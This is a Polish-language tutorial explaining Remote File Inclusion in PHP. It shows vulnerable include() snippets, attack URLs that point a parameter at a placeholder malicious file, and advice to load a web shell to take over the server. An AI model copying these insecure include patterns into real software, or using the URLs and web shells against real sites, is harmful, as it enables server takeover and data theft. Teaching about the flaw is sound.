Remote File Inclusion

RFI to typ podatności często znajdywany na stronach stworzonych z użyciem PHP. Błąd ten pozwala atakującemu dołączyć zdalnie hostowany plik, zazwyczaj poprzez skrypt na serwerze. RFI jest możliwe, ponieważ to co wprowadza użytkownik nie jest odpowiednio filtrowane. Może to prowadzić na przykład do wyrzucenia zawartości pliku, ale w zależności od skali błędu możemy wykonać dowolny kod na serwerze.

Atak

Remote File Inclusion występuje wtedy, kiedy to co wprowadzi użytkownik nie jest poprawnie filtrowane lub oczyszczane. Następujące dane muszą zostać odpowiednio przygotowane przed przetworzeniem:

  • Parametry URL
  • Parametry GET i POST
  • Nagłówki HTTP
  • Ciasteczka

Korzystając z wartości parametrów zawartych w adresie (http://example.com/?page=ADRES_STRONY) serwer uzyskuje dostęp do zdalnego pliku zawartego w adresie URL i załącza złośliwy kod z tego pliku do aktualnie wykonywanej strony na serwerze. Skrypt ten może ukraść wrażliwe dane, przejąć serwer czy zainstalować backdoora.

Web Shells

Dostępne są w internecie web shelle. Kiedy odkryjesz podatność załącz któryś z nich. Przykładowy dość pokaźny zbiór znajdziesz tutaj. Zadaniem takiego narzędzia jest dostarczyć atakującemu panel do zarządzenia serwerem. Z ich pomocą możesz całkowicie przejąć system, uzyskać dostęp do komend systemowych, zainstalować backdoory itp.

Przykład

Użytkownik chce odwiedzić stronę. W przypadku, kiedy strona główna (index.php) przetwarza wartość parametru page jako

<?php include($_GET["page"]); ?>

Wtedy, jeśli użytkownik jako adres strony poda

http://example.com/?page=contact.php

serwer wykona contact.php i wyświetli jego zawartość na stronie głównej. Jak to wykorzystać? Zamiast contact.php wstawić adres do naszego złośliwego kodu.

http://example.com/?page=ADRES_STRONY_RFI

Przykład 2

if($error==1){
   include($err.'.php');
}

W tym przypadku atak wygląda następująco

http://example.com/index.php?error=1&err=ADRES_STRONY_RFI

Więcej:
https://www.owasp.org/index.php/Top_10_2007-A3
https://en.wikipedia.org/wiki/File_inclusion_vulnerability

Subskrybuj!

Subskrybuj!

Dołącz do listy mailingowej, aby otrzymywać powiadomienia o nowych wpisach. Żadnego spamu, obiecuję!

Dzięki!